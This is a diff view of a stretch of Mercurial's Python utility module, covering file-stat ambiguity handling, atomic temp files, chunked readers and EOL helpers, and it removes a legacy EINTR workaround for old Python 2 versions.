2426 """
2426 """
2427 try:
2427 try:
2428 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2428 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2429 except AttributeError:
2429 except AttributeError:
2430 return False
2430 return False
2431
2431
2432 def avoidambig(self, path, old):
2432 def avoidambig(self, path, old):
2433 """Change file stat of specified path to avoid ambiguity
2433 """Change file stat of specified path to avoid ambiguity
2434
2434
2435 'old' should be previous filestat of 'path'.
2435 'old' should be previous filestat of 'path'.
2436
2436
2437 This skips avoiding ambiguity, if a process doesn't have
2437 This skips avoiding ambiguity, if a process doesn't have
2438 appropriate privileges for 'path'. This returns False in this
2438 appropriate privileges for 'path'. This returns False in this
2439 case.
2439 case.
2440
2440
2441 Otherwise, this returns True, as "ambiguity is avoided".
2441 Otherwise, this returns True, as "ambiguity is avoided".
2442 """
2442 """
2443 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2443 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2444 try:
2444 try:
2445 os.utime(path, (advanced, advanced))
2445 os.utime(path, (advanced, advanced))
2446 except OSError as inst:
2446 except OSError as inst:
2447 if inst.errno == errno.EPERM:
2447 if inst.errno == errno.EPERM:
2448 # utime() on the file created by another user causes EPERM,
2448 # utime() on the file created by another user causes EPERM,
2449 # if a process doesn't have appropriate privileges
2449 # if a process doesn't have appropriate privileges
2450 return False
2450 return False
2451 raise
2451 raise
2452 return True
2452 return True
2453
2453
2454 def __ne__(self, other):
2454 def __ne__(self, other):
2455 return not self == other
2455 return not self == other
2456
2456
2457
2457
2458 class atomictempfile(object):
2458 class atomictempfile(object):
2459 '''writable file object that atomically updates a file
2459 '''writable file object that atomically updates a file
2460
2460
2461 All writes will go to a temporary copy of the original file. Call
2461 All writes will go to a temporary copy of the original file. Call
2462 close() when you are done writing, and atomictempfile will rename
2462 close() when you are done writing, and atomictempfile will rename
2463 the temporary copy to the original name, making the changes
2463 the temporary copy to the original name, making the changes
2464 visible. If the object is destroyed without being closed, all your
2464 visible. If the object is destroyed without being closed, all your
2465 writes are discarded.
2465 writes are discarded.
2466
2466
2467 checkambig argument of constructor is used with filestat, and is
2467 checkambig argument of constructor is used with filestat, and is
2468 useful only if target file is guarded by any lock (e.g. repo.lock
2468 useful only if target file is guarded by any lock (e.g. repo.lock
2469 or repo.wlock).
2469 or repo.wlock).
2470 '''
2470 '''
2471
2471
2472 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2472 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2473 self.__name = name # permanent name
2473 self.__name = name # permanent name
2474 self._tempname = mktempcopy(
2474 self._tempname = mktempcopy(
2475 name,
2475 name,
2476 emptyok=(b'w' in mode),
2476 emptyok=(b'w' in mode),
2477 createmode=createmode,
2477 createmode=createmode,
2478 enforcewritable=(b'w' in mode),
2478 enforcewritable=(b'w' in mode),
2479 )
2479 )
2480
2480
2481 self._fp = posixfile(self._tempname, mode)
2481 self._fp = posixfile(self._tempname, mode)
2482 self._checkambig = checkambig
2482 self._checkambig = checkambig
2483
2483
2484 # delegated methods
2484 # delegated methods
2485 self.read = self._fp.read
2485 self.read = self._fp.read
2486 self.write = self._fp.write
2486 self.write = self._fp.write
2487 self.seek = self._fp.seek
2487 self.seek = self._fp.seek
2488 self.tell = self._fp.tell
2488 self.tell = self._fp.tell
2489 self.fileno = self._fp.fileno
2489 self.fileno = self._fp.fileno
2490
2490
2491 def close(self):
2491 def close(self):
2492 if not self._fp.closed:
2492 if not self._fp.closed:
2493 self._fp.close()
2493 self._fp.close()
2494 filename = localpath(self.__name)
2494 filename = localpath(self.__name)
2495 oldstat = self._checkambig and filestat.frompath(filename)
2495 oldstat = self._checkambig and filestat.frompath(filename)
2496 if oldstat and oldstat.stat:
2496 if oldstat and oldstat.stat:
2497 rename(self._tempname, filename)
2497 rename(self._tempname, filename)
2498 newstat = filestat.frompath(filename)
2498 newstat = filestat.frompath(filename)
2499 if newstat.isambig(oldstat):
2499 if newstat.isambig(oldstat):
2500 # stat of changed file is ambiguous to original one
2500 # stat of changed file is ambiguous to original one
2501 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2501 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2502 os.utime(filename, (advanced, advanced))
2502 os.utime(filename, (advanced, advanced))
2503 else:
2503 else:
2504 rename(self._tempname, filename)
2504 rename(self._tempname, filename)
2505
2505
2506 def discard(self):
2506 def discard(self):
2507 if not self._fp.closed:
2507 if not self._fp.closed:
2508 try:
2508 try:
2509 os.unlink(self._tempname)
2509 os.unlink(self._tempname)
2510 except OSError:
2510 except OSError:
2511 pass
2511 pass
2512 self._fp.close()
2512 self._fp.close()
2513
2513
2514 def __del__(self):
2514 def __del__(self):
2515 if safehasattr(self, '_fp'): # constructor actually did something
2515 if safehasattr(self, '_fp'): # constructor actually did something
2516 self.discard()
2516 self.discard()
2517
2517
2518 def __enter__(self):
2518 def __enter__(self):
2519 return self
2519 return self
2520
2520
2521 def __exit__(self, exctype, excvalue, traceback):
2521 def __exit__(self, exctype, excvalue, traceback):
2522 if exctype is not None:
2522 if exctype is not None:
2523 self.discard()
2523 self.discard()
2524 else:
2524 else:
2525 self.close()
2525 self.close()
2526
2526
2527
2527
2528 def unlinkpath(f, ignoremissing=False, rmdir=True):
2528 def unlinkpath(f, ignoremissing=False, rmdir=True):
2529 """unlink and remove the directory if it is empty"""
2529 """unlink and remove the directory if it is empty"""
2530 if ignoremissing:
2530 if ignoremissing:
2531 tryunlink(f)
2531 tryunlink(f)
2532 else:
2532 else:
2533 unlink(f)
2533 unlink(f)
2534 if rmdir:
2534 if rmdir:
2535 # try removing directories that might now be empty
2535 # try removing directories that might now be empty
2536 try:
2536 try:
2537 removedirs(os.path.dirname(f))
2537 removedirs(os.path.dirname(f))
2538 except OSError:
2538 except OSError:
2539 pass
2539 pass
2540
2540
2541
2541
2542 def tryunlink(f):
2542 def tryunlink(f):
2543 """Attempt to remove a file, ignoring ENOENT errors."""
2543 """Attempt to remove a file, ignoring ENOENT errors."""
2544 try:
2544 try:
2545 unlink(f)
2545 unlink(f)
2546 except OSError as e:
2546 except OSError as e:
2547 if e.errno != errno.ENOENT:
2547 if e.errno != errno.ENOENT:
2548 raise
2548 raise
2549
2549
2550
2550
2551 def makedirs(name, mode=None, notindexed=False):
2551 def makedirs(name, mode=None, notindexed=False):
2552 """recursive directory creation with parent mode inheritance
2552 """recursive directory creation with parent mode inheritance
2553
2553
2554 Newly created directories are marked as "not to be indexed by
2554 Newly created directories are marked as "not to be indexed by
2555 the content indexing service", if ``notindexed`` is specified
2555 the content indexing service", if ``notindexed`` is specified
2556 for "write" mode access.
2556 for "write" mode access.
2557 """
2557 """
2558 try:
2558 try:
2559 makedir(name, notindexed)
2559 makedir(name, notindexed)
2560 except OSError as err:
2560 except OSError as err:
2561 if err.errno == errno.EEXIST:
2561 if err.errno == errno.EEXIST:
2562 return
2562 return
2563 if err.errno != errno.ENOENT or not name:
2563 if err.errno != errno.ENOENT or not name:
2564 raise
2564 raise
2565 parent = os.path.dirname(os.path.abspath(name))
2565 parent = os.path.dirname(os.path.abspath(name))
2566 if parent == name:
2566 if parent == name:
2567 raise
2567 raise
2568 makedirs(parent, mode, notindexed)
2568 makedirs(parent, mode, notindexed)
2569 try:
2569 try:
2570 makedir(name, notindexed)
2570 makedir(name, notindexed)
2571 except OSError as err:
2571 except OSError as err:
2572 # Catch EEXIST to handle races
2572 # Catch EEXIST to handle races
2573 if err.errno == errno.EEXIST:
2573 if err.errno == errno.EEXIST:
2574 return
2574 return
2575 raise
2575 raise
2576 if mode is not None:
2576 if mode is not None:
2577 os.chmod(name, mode)
2577 os.chmod(name, mode)
2578
2578
2579
2579
2580 def readfile(path):
2580 def readfile(path):
2581 with open(path, b'rb') as fp:
2581 with open(path, b'rb') as fp:
2582 return fp.read()
2582 return fp.read()
2583
2583
2584
2584
2585 def writefile(path, text):
2585 def writefile(path, text):
2586 with open(path, b'wb') as fp:
2586 with open(path, b'wb') as fp:
2587 fp.write(text)
2587 fp.write(text)
2588
2588
2589
2589
2590 def appendfile(path, text):
2590 def appendfile(path, text):
2591 with open(path, b'ab') as fp:
2591 with open(path, b'ab') as fp:
2592 fp.write(text)
2592 fp.write(text)
2593
2593
2594
2594
2595 class chunkbuffer(object):
2595 class chunkbuffer(object):
2596 """Allow arbitrary sized chunks of data to be efficiently read from an
2596 """Allow arbitrary sized chunks of data to be efficiently read from an
2597 iterator over chunks of arbitrary size."""
2597 iterator over chunks of arbitrary size."""
2598
2598
2599 def __init__(self, in_iter):
2599 def __init__(self, in_iter):
2600 """in_iter is the iterator that's iterating over the input chunks."""
2600 """in_iter is the iterator that's iterating over the input chunks."""
2601
2601
2602 def splitbig(chunks):
2602 def splitbig(chunks):
2603 for chunk in chunks:
2603 for chunk in chunks:
2604 if len(chunk) > 2 ** 20:
2604 if len(chunk) > 2 ** 20:
2605 pos = 0
2605 pos = 0
2606 while pos < len(chunk):
2606 while pos < len(chunk):
2607 end = pos + 2 ** 18
2607 end = pos + 2 ** 18
2608 yield chunk[pos:end]
2608 yield chunk[pos:end]
2609 pos = end
2609 pos = end
2610 else:
2610 else:
2611 yield chunk
2611 yield chunk
2612
2612
2613 self.iter = splitbig(in_iter)
2613 self.iter = splitbig(in_iter)
2614 self._queue = collections.deque()
2614 self._queue = collections.deque()
2615 self._chunkoffset = 0
2615 self._chunkoffset = 0
2616
2616
2617 def read(self, l=None):
2617 def read(self, l=None):
2618 """Read L bytes of data from the iterator of chunks of data.
2618 """Read L bytes of data from the iterator of chunks of data.
2619 Returns less than L bytes if the iterator runs dry.
2619 Returns less than L bytes if the iterator runs dry.
2620
2620
2621 If size parameter is omitted, read everything"""
2621 If size parameter is omitted, read everything"""
2622 if l is None:
2622 if l is None:
2623 return b''.join(self.iter)
2623 return b''.join(self.iter)
2624
2624
2625 left = l
2625 left = l
2626 buf = []
2626 buf = []
2627 queue = self._queue
2627 queue = self._queue
2628 while left > 0:
2628 while left > 0:
2629 # refill the queue
2629 # refill the queue
2630 if not queue:
2630 if not queue:
2631 target = 2 ** 18
2631 target = 2 ** 18
2632 for chunk in self.iter:
2632 for chunk in self.iter:
2633 queue.append(chunk)
2633 queue.append(chunk)
2634 target -= len(chunk)
2634 target -= len(chunk)
2635 if target <= 0:
2635 if target <= 0:
2636 break
2636 break
2637 if not queue:
2637 if not queue:
2638 break
2638 break
2639
2639
2640 # The easy way to do this would be to queue.popleft(), modify the
2640 # The easy way to do this would be to queue.popleft(), modify the
2641 # chunk (if necessary), then queue.appendleft(). However, for cases
2641 # chunk (if necessary), then queue.appendleft(). However, for cases
2642 # where we read partial chunk content, this incurs 2 dequeue
2642 # where we read partial chunk content, this incurs 2 dequeue
2643 # mutations and creates a new str for the remaining chunk in the
2643 # mutations and creates a new str for the remaining chunk in the
2644 # queue. Our code below avoids this overhead.
2644 # queue. Our code below avoids this overhead.
2645
2645
2646 chunk = queue[0]
2646 chunk = queue[0]
2647 chunkl = len(chunk)
2647 chunkl = len(chunk)
2648 offset = self._chunkoffset
2648 offset = self._chunkoffset
2649
2649
2650 # Use full chunk.
2650 # Use full chunk.
2651 if offset == 0 and left >= chunkl:
2651 if offset == 0 and left >= chunkl:
2652 left -= chunkl
2652 left -= chunkl
2653 queue.popleft()
2653 queue.popleft()
2654 buf.append(chunk)
2654 buf.append(chunk)
2655 # self._chunkoffset remains at 0.
2655 # self._chunkoffset remains at 0.
2656 continue
2656 continue
2657
2657
2658 chunkremaining = chunkl - offset
2658 chunkremaining = chunkl - offset
2659
2659
2660 # Use all of unconsumed part of chunk.
2660 # Use all of unconsumed part of chunk.
2661 if left >= chunkremaining:
2661 if left >= chunkremaining:
2662 left -= chunkremaining
2662 left -= chunkremaining
2663 queue.popleft()
2663 queue.popleft()
2664 # offset == 0 is enabled by block above, so this won't merely
2664 # offset == 0 is enabled by block above, so this won't merely
2665 # copy via ``chunk[0:]``.
2665 # copy via ``chunk[0:]``.
2666 buf.append(chunk[offset:])
2666 buf.append(chunk[offset:])
2667 self._chunkoffset = 0
2667 self._chunkoffset = 0
2668
2668
2669 # Partial chunk needed.
2669 # Partial chunk needed.
2670 else:
2670 else:
2671 buf.append(chunk[offset : offset + left])
2671 buf.append(chunk[offset : offset + left])
2672 self._chunkoffset += left
2672 self._chunkoffset += left
2673 left -= chunkremaining
2673 left -= chunkremaining
2674
2674
2675 return b''.join(buf)
2675 return b''.join(buf)
2676
2676
2677
2677
2678 def filechunkiter(f, size=131072, limit=None):
2678 def filechunkiter(f, size=131072, limit=None):
2679 """Create a generator that produces the data in the file size
2679 """Create a generator that produces the data in the file size
2680 (default 131072) bytes at a time, up to optional limit (default is
2680 (default 131072) bytes at a time, up to optional limit (default is
2681 to read all data). Chunks may be less than size bytes if the
2681 to read all data). Chunks may be less than size bytes if the
2682 chunk is the last chunk in the file, or the file is a socket or
2682 chunk is the last chunk in the file, or the file is a socket or
2683 some other type of file that sometimes reads less data than is
2683 some other type of file that sometimes reads less data than is
2684 requested."""
2684 requested."""
2685 assert size >= 0
2685 assert size >= 0
2686 assert limit is None or limit >= 0
2686 assert limit is None or limit >= 0
2687 while True:
2687 while True:
2688 if limit is None:
2688 if limit is None:
2689 nbytes = size
2689 nbytes = size
2690 else:
2690 else:
2691 nbytes = min(limit, size)
2691 nbytes = min(limit, size)
2692 s = nbytes and f.read(nbytes)
2692 s = nbytes and f.read(nbytes)
2693 if not s:
2693 if not s:
2694 break
2694 break
2695 if limit:
2695 if limit:
2696 limit -= len(s)
2696 limit -= len(s)
2697 yield s
2697 yield s
2698
2698
2699
2699
2700 class cappedreader(object):
2700 class cappedreader(object):
2701 """A file object proxy that allows reading up to N bytes.
2701 """A file object proxy that allows reading up to N bytes.
2702
2702
2703 Given a source file object, instances of this type allow reading up to
2703 Given a source file object, instances of this type allow reading up to
2704 N bytes from that source file object. Attempts to read past the allowed
2704 N bytes from that source file object. Attempts to read past the allowed
2705 limit are treated as EOF.
2705 limit are treated as EOF.
2706
2706
2707 It is assumed that I/O is not performed on the original file object
2707 It is assumed that I/O is not performed on the original file object
2708 in addition to I/O that is performed by this instance. If there is,
2708 in addition to I/O that is performed by this instance. If there is,
2709 state tracking will get out of sync and unexpected results will ensue.
2709 state tracking will get out of sync and unexpected results will ensue.
2710 """
2710 """
2711
2711
2712 def __init__(self, fh, limit):
2712 def __init__(self, fh, limit):
2713 """Allow reading up to <limit> bytes from <fh>."""
2713 """Allow reading up to <limit> bytes from <fh>."""
2714 self._fh = fh
2714 self._fh = fh
2715 self._left = limit
2715 self._left = limit
2716
2716
2717 def read(self, n=-1):
2717 def read(self, n=-1):
2718 if not self._left:
2718 if not self._left:
2719 return b''
2719 return b''
2720
2720
2721 if n < 0:
2721 if n < 0:
2722 n = self._left
2722 n = self._left
2723
2723
2724 data = self._fh.read(min(n, self._left))
2724 data = self._fh.read(min(n, self._left))
2725 self._left -= len(data)
2725 self._left -= len(data)
2726 assert self._left >= 0
2726 assert self._left >= 0
2727
2727
2728 return data
2728 return data
2729
2729
2730 def readinto(self, b):
2730 def readinto(self, b):
2731 res = self.read(len(b))
2731 res = self.read(len(b))
2732 if res is None:
2732 if res is None:
2733 return None
2733 return None
2734
2734
2735 b[0 : len(res)] = res
2735 b[0 : len(res)] = res
2736 return len(res)
2736 return len(res)
2737
2737
2738
2738
2739 def unitcountfn(*unittable):
2739 def unitcountfn(*unittable):
2740 '''return a function that renders a readable count of some quantity'''
2740 '''return a function that renders a readable count of some quantity'''
2741
2741
2742 def go(count):
2742 def go(count):
2743 for multiplier, divisor, format in unittable:
2743 for multiplier, divisor, format in unittable:
2744 if abs(count) >= divisor * multiplier:
2744 if abs(count) >= divisor * multiplier:
2745 return format % (count / float(divisor))
2745 return format % (count / float(divisor))
2746 return unittable[-1][2] % count
2746 return unittable[-1][2] % count
2747
2747
2748 return go
2748 return go
2749
2749
2750
2750
2751 def processlinerange(fromline, toline):
2751 def processlinerange(fromline, toline):
2752 """Check that linerange <fromline>:<toline> makes sense and return a
2752 """Check that linerange <fromline>:<toline> makes sense and return a
2753 0-based range.
2753 0-based range.
2754
2754
2755 >>> processlinerange(10, 20)
2755 >>> processlinerange(10, 20)
2756 (9, 20)
2756 (9, 20)
2757 >>> processlinerange(2, 1)
2757 >>> processlinerange(2, 1)
2758 Traceback (most recent call last):
2758 Traceback (most recent call last):
2759 ...
2759 ...
2760 ParseError: line range must be positive
2760 ParseError: line range must be positive
2761 >>> processlinerange(0, 5)
2761 >>> processlinerange(0, 5)
2762 Traceback (most recent call last):
2762 Traceback (most recent call last):
2763 ...
2763 ...
2764 ParseError: fromline must be strictly positive
2764 ParseError: fromline must be strictly positive
2765 """
2765 """
2766 if toline - fromline < 0:
2766 if toline - fromline < 0:
2767 raise error.ParseError(_(b"line range must be positive"))
2767 raise error.ParseError(_(b"line range must be positive"))
2768 if fromline < 1:
2768 if fromline < 1:
2769 raise error.ParseError(_(b"fromline must be strictly positive"))
2769 raise error.ParseError(_(b"fromline must be strictly positive"))
2770 return fromline - 1, toline
2770 return fromline - 1, toline
2771
2771
2772
2772
2773 bytecount = unitcountfn(
2773 bytecount = unitcountfn(
2774 (100, 1 << 30, _(b'%.0f GB')),
2774 (100, 1 << 30, _(b'%.0f GB')),
2775 (10, 1 << 30, _(b'%.1f GB')),
2775 (10, 1 << 30, _(b'%.1f GB')),
2776 (1, 1 << 30, _(b'%.2f GB')),
2776 (1, 1 << 30, _(b'%.2f GB')),
2777 (100, 1 << 20, _(b'%.0f MB')),
2777 (100, 1 << 20, _(b'%.0f MB')),
2778 (10, 1 << 20, _(b'%.1f MB')),
2778 (10, 1 << 20, _(b'%.1f MB')),
2779 (1, 1 << 20, _(b'%.2f MB')),
2779 (1, 1 << 20, _(b'%.2f MB')),
2780 (100, 1 << 10, _(b'%.0f KB')),
2780 (100, 1 << 10, _(b'%.0f KB')),
2781 (10, 1 << 10, _(b'%.1f KB')),
2781 (10, 1 << 10, _(b'%.1f KB')),
2782 (1, 1 << 10, _(b'%.2f KB')),
2782 (1, 1 << 10, _(b'%.2f KB')),
2783 (1, 1, _(b'%.0f bytes')),
2783 (1, 1, _(b'%.0f bytes')),
2784 )
2784 )
2785
2785
2786
2786
2787 class transformingwriter(object):
2787 class transformingwriter(object):
2788 """Writable file wrapper to transform data by function"""
2788 """Writable file wrapper to transform data by function"""
2789
2789
2790 def __init__(self, fp, encode):
2790 def __init__(self, fp, encode):
2791 self._fp = fp
2791 self._fp = fp
2792 self._encode = encode
2792 self._encode = encode
2793
2793
2794 def close(self):
2794 def close(self):
2795 self._fp.close()
2795 self._fp.close()
2796
2796
2797 def flush(self):
2797 def flush(self):
2798 self._fp.flush()
2798 self._fp.flush()
2799
2799
2800 def write(self, data):
2800 def write(self, data):
2801 return self._fp.write(self._encode(data))
2801 return self._fp.write(self._encode(data))
2802
2802
2803
2803
2804 # Matches a single EOL which can either be a CRLF where repeated CR
2804 # Matches a single EOL which can either be a CRLF where repeated CR
2805 # are removed or a LF. We do not care about old Macintosh files, so a
2805 # are removed or a LF. We do not care about old Macintosh files, so a
2806 # stray CR is an error.
2806 # stray CR is an error.
2807 _eolre = remod.compile(br'\r*\n')
2807 _eolre = remod.compile(br'\r*\n')
2808
2808
2809
2809
2810 def tolf(s):
2810 def tolf(s):
2811 return _eolre.sub(b'\n', s)
2811 return _eolre.sub(b'\n', s)
2812
2812
2813
2813
2814 def tocrlf(s):
2814 def tocrlf(s):
2815 return _eolre.sub(b'\r\n', s)
2815 return _eolre.sub(b'\r\n', s)
2816
2816
2817
2817
2818 def _crlfwriter(fp):
2818 def _crlfwriter(fp):
2819 return transformingwriter(fp, tocrlf)
2819 return transformingwriter(fp, tocrlf)
2820
2820
2821
2821
2822 if pycompat.oslinesep == b'\r\n':
2822 if pycompat.oslinesep == b'\r\n':
2823 tonativeeol = tocrlf
2823 tonativeeol = tocrlf
2824 fromnativeeol = tolf
2824 fromnativeeol = tolf
2825 nativeeolwriter = _crlfwriter
2825 nativeeolwriter = _crlfwriter
2826 else:
2826 else:
2827 tonativeeol = pycompat.identity
2827 tonativeeol = pycompat.identity
2828 fromnativeeol = pycompat.identity
2828 fromnativeeol = pycompat.identity
2829 nativeeolwriter = pycompat.identity
2829 nativeeolwriter = pycompat.identity
2830
2830
2831 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2831 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2832 3,
2832 3,
2833 0,
2833 0,
2834 ):
2834 ):
2835 # There is an issue in CPython that some IO methods do not handle EINTR
2835 # There is an issue in CPython that some IO methods do not handle EINTR
2836 # correctly. The following table shows what CPython version (and functions)
2836 # correctly. The following table shows what CPython version (and functions)
2837 # are affected (buggy: has the EINTR bug, okay: otherwise):
2837 # are affected (buggy: has the EINTR bug, okay: otherwise):
2838 #
2838 #
2839 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2839 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2840 # --------------------------------------------------
2840 # --------------------------------------------------
2841 # fp.__iter__ | buggy | buggy | okay
2841 # fp.__iter__ | buggy | buggy | okay
2842 # fp.read* | buggy | okay [1] | okay
2842 # fp.read* | buggy | okay [1] | okay
2843 #
2843 #
2844 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2844 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2845 #
2845 #
2846 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2846 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2847 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2847 # like "read*" work fine, as we do not support Python < 2.7.4.
2848 #
2848 #
2849 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2849 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2850 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2850 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2851 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2851 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2852 # fp.__iter__ but not other fp.read* methods.
2852 # fp.__iter__ but not other fp.read* methods.
2853 #
2853 #
2854 # On modern systems like Linux, the "read" syscall cannot be interrupted
2854 # On modern systems like Linux, the "read" syscall cannot be interrupted
2855 # when reading "fast" files like on-disk files. So the EINTR issue only
2855 # when reading "fast" files like on-disk files. So the EINTR issue only
2856 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2856 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2857 # files approximately as "fast" files and use the fast (unsafe) code path,
2857 # files approximately as "fast" files and use the fast (unsafe) code path,
2858 # to minimize the performance impact.
2858 # to minimize the performance impact.
2859 if sys.version_info >= (2, 7, 4):
2860 # fp.readline deals with EINTR correctly, use it as a workaround.
2861 def _safeiterfile(fp):
2862 return iter(fp.readline, b'')
2863
2864 else:
2865 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2866 # note: this may block longer than necessary because of bufsize.
2867 def _safeiterfile(fp, bufsize=4096):
2868 fd = fp.fileno()
2869 line = b''
2870 while True:
2871 try:
2872 buf = os.read(fd, bufsize)
2873 except OSError as ex:
2874 # os.read only raises EINTR before any data is read
2875 if ex.errno == errno.EINTR:
2876 continue
2877 else:
2878 raise
2879 line += buf
2880 if b'\n' in buf:
2881 splitted = line.splitlines(True)
2882 line = b''
2883 for l in splitted:
2884 if l[-1] == b'\n':
2885 yield l
2886 else:
2887 line = l
2888 if not buf:
2889 break
2890 if line:
2891 yield line
2892
2859
2893 def iterfile(fp):
2860 def iterfile(fp):
2894 fastpath = True
2861 fastpath = True
2895 if type(fp) is file:
2862 if type(fp) is file:
2896 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2863 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2897 if fastpath:
2864 if fastpath:
2898 return fp
2865 return fp
2899 else:
2866 else:
2900 return _safeiterfile(fp)
2867 # fp.readline deals with EINTR correctly, use it as a workaround.
2868 return iter(fp.readline, b'')
2901
2869
2902
2870
2903 else:
2871 else:
2904 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2872 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2905 def iterfile(fp):
2873 def iterfile(fp):
2906 return fp
2874 return fp
2907
2875
2908
2876
2909 def iterlines(iterator):
2877 def iterlines(iterator):
2910 for chunk in iterator:
2878 for chunk in iterator:
2911 for line in chunk.splitlines():
2879 for line in chunk.splitlines():
2912 yield line
2880 yield line
2913
2881
2914
2882
2915 def expandpath(path):
2883 def expandpath(path):
2916 return os.path.expanduser(os.path.expandvars(path))
2884 return os.path.expanduser(os.path.expandvars(path))
2917
2885
2918
2886
2919 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2887 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2920 """Return the result of interpolating items in the mapping into string s.
2888 """Return the result of interpolating items in the mapping into string s.
2921
2889
2922 prefix is a single character string, or a two character string with
2890 prefix is a single character string, or a two character string with
2923 a backslash as the first character if the prefix needs to be escaped in
2891 a backslash as the first character if the prefix needs to be escaped in
2924 a regular expression.
2892 a regular expression.
2925
2893
2926 fn is an optional function that will be applied to the replacement text
2894 fn is an optional function that will be applied to the replacement text
2927 just before replacement.
2895 just before replacement.
2928
2896
2929 escape_prefix is an optional flag that allows using doubled prefix for
2897 escape_prefix is an optional flag that allows using doubled prefix for
2930 its escaping.
2898 its escaping.
2931 """
2899 """
2932 fn = fn or (lambda s: s)
2900 fn = fn or (lambda s: s)
2933 patterns = b'|'.join(mapping.keys())
2901 patterns = b'|'.join(mapping.keys())
2934 if escape_prefix:
2902 if escape_prefix:
2935 patterns += b'|' + prefix
2903 patterns += b'|' + prefix
2936 if len(prefix) > 1:
2904 if len(prefix) > 1:
2937 prefix_char = prefix[1:]
2905 prefix_char = prefix[1:]
2938 else:
2906 else:
2939 prefix_char = prefix
2907 prefix_char = prefix
2940 mapping[prefix_char] = prefix_char
2908 mapping[prefix_char] = prefix_char
2941 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2909 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2942 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2910 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2943
2911
2944
2912
2945 def getport(port):
2913 def getport(port):
2946 """Return the port for a given network service.
2914 """Return the port for a given network service.
2947
2915
2948 If port is an integer, it's returned as is. If it's a string, it's
2916 If port is an integer, it's returned as is. If it's a string, it's
2949 looked up using socket.getservbyname(). If there's no matching
2917 looked up using socket.getservbyname(). If there's no matching
2950 service, error.Abort is raised.
2918 service, error.Abort is raised.
2951 """
2919 """
2952 try:
2920 try:
2953 return int(port)
2921 return int(port)
2954 except ValueError:
2922 except ValueError:
2955 pass
2923 pass
2956
2924
2957 try:
2925 try:
2958 return socket.getservbyname(pycompat.sysstr(port))
2926 return socket.getservbyname(pycompat.sysstr(port))
2959 except socket.error:
2927 except socket.error:
2960 raise error.Abort(
2928 raise error.Abort(
2961 _(b"no port number associated with service '%s'") % port
2929 _(b"no port number associated with service '%s'") % port
2962 )
2930 )
2963
2931
2964
2932
2965 class url(object):
2933 class url(object):
2966 r"""Reliable URL parser.
2934 r"""Reliable URL parser.
2967
2935
2968 This parses URLs and provides attributes for the following
2936 This parses URLs and provides attributes for the following
2969 components:
2937 components:
2970
2938
2971 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2939 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2972
2940
2973 Missing components are set to None. The only exception is
2941 Missing components are set to None. The only exception is
2974 fragment, which is set to '' if present but empty.
2942 fragment, which is set to '' if present but empty.
2975
2943
2976 If parsefragment is False, fragment is included in query. If
2944 If parsefragment is False, fragment is included in query. If
2977 parsequery is False, query is included in path. If both are
2945 parsequery is False, query is included in path. If both are
2978 False, both fragment and query are included in path.
2946 False, both fragment and query are included in path.
2979
2947
2980 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2948 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2981
2949
2982 Note that for backward compatibility reasons, bundle URLs do not
2950 Note that for backward compatibility reasons, bundle URLs do not
2983 take host names. That means 'bundle://../' has a path of '../'.
2951 take host names. That means 'bundle://../' has a path of '../'.
2984
2952
2985 Examples:
2953 Examples:
2986
2954
2987 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2955 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2988 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2956 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2989 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2957 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2990 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2958 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2991 >>> url(b'file:///home/joe/repo')
2959 >>> url(b'file:///home/joe/repo')
2992 <url scheme: 'file', path: '/home/joe/repo'>
2960 <url scheme: 'file', path: '/home/joe/repo'>
2993 >>> url(b'file:///c:/temp/foo/')
2961 >>> url(b'file:///c:/temp/foo/')
2994 <url scheme: 'file', path: 'c:/temp/foo/'>
2962 <url scheme: 'file', path: 'c:/temp/foo/'>
2995 >>> url(b'bundle:foo')
2963 >>> url(b'bundle:foo')
